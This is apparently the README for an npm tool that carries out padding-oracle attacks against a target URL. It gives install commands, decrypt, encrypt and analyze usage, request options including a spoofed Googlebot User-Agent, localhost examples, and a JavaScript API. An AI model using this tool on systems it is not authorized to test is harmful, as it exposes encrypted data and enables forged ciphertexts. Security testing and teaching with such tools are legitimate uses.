$ npm install --global padding-oracle-attacker

$ yarn global add padding-oracle-attacker

Usage
  $ padding-oracle-attacker decrypt <url> hex:<ciphertext_hex> <block_size> <error> [options]
  $ padding-oracle-attacker decrypt <url> b64:<ciphertext_b64> <block_size> <error> [options]

  $ padding-oracle-attacker encrypt <url> <plaintext>          <block_size> <error> [options]
  $ padding-oracle-attacker encrypt <url> hex:<plaintext_hex>  <block_size> <error> [options]

  $ padding-oracle-attacker analyze <url> [<block_size>] [options]

Commands
  decrypt                  Finds the plaintext (foobar) for given ciphertext (hex:0123abcd)
  encrypt                  Finds the ciphertext (hex:abcd1234) for given plaintext (foo=bar)
  analyze                  Helps find out if the URL is vulnerable or not, and
                           how the response differs when a decryption error occurs
                           (for the <error> argument)

Arguments
  <url>                    URL to attack. Payload will be inserted at the end by default. To specify
                           a custom injection point, include {POPAYLOAD} in a header (-H),
                           request body (-d) or the URL
  <block_size>             Block size used by the encryption algorithm on the server
  <error>                  The string present in response when decryption fails on the server.
                           Specify a string present in the HTTP response body (like PaddingException)
                           or status code of the HTTP response (like 400)

Options
  -c, --concurrency        Requests to be sent concurrently                      [default: 128]
      --disable-cache      Disable network cache. Saved to                       [default: false]
                           poattack-cache.json.gz.txt by default
  -X, --method             HTTP method to use while making request               [default: GET]
  -H, --header             Headers to be sent with request.
                             -H 'Cookie: cookie1' -H 'User-Agent: Googlebot/2.1'
  -d, --data               Request body
                             JSON string: {"id": 101, "foo": "bar"}
                             URL encoded: id=101&foo=bar
                           Make sure to specify the Content-Type header.

  -e, --payload-encoding   Ciphertext payload encoding for {POPAYLOAD}           [default: hex]
                             base64          FooBar+/=
                             base64-urlsafe  FooBar-_
                             hex             deadbeef
                             hex-uppercase   DEADBEEF
                             base64(xyz)     Custom base64 ('xyz' represent characters for '+/=')

  --dont-urlencode-payload Don't URL encode {POPAYLOAD}                          [default: false]

  --start-from-1st-block   Start processing from the first block instead         [default: false]
                           of the last (only works with decrypt mode)

Examples
  $ poattack decrypt http://localhost:2020/decrypt?ciphertext=
      hex:e3e70d8599206647dbc96952aaa209d75b4e3c494842aa1aa8931f51505df2a8a184e99501914312e2c50320835404e9
      16 400
  $ poattack encrypt http://localhost:2020/decrypt?ciphertext= "foo bar 🦄" 16 400
  $ poattack encrypt http://localhost:2020/decrypt?ciphertext= hex:666f6f2062617220f09fa684 16 400
  $ poattack analyze http://localhost:2020/decrypt?ciphertext=

Aliases
  poattack
  padding-oracle-attack

const { decrypt, encrypt } = require('padding-oracle-attacker')
// or
import { decrypt, encrypt } from 'padding-oracle-attacker'

const { blockCount, totalSize, foundBytes, interBytes } = await decrypt(options)

const { blockCount, totalSize, foundBytes, interBytes, finalRequest } = await encrypt(options)